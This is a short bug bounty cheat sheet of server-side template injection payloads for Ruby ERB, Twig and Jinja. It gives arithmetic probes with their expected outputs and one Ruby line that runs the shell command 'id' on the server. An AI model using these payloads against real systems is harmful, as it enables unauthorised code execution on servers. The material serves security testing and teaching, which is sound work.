Template injection cheat sheet

Server-side template injection (SSTI)Exploitation

From Bug Bounty Cheat Sheet by EdOverflow and contributors, under the CC BY-SA 4.0 licence. Shown as written; the title and classification are ours. This tip stays under the CC BY-SA 4.0 licence. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Ruby

ruby
<%=`id`%>

Twig

The following payload should output 49.

code
{{7*'7'}}

Jinja

This payload should output 7777777.

code
{{7*'7'}}

Comments

No comments yet.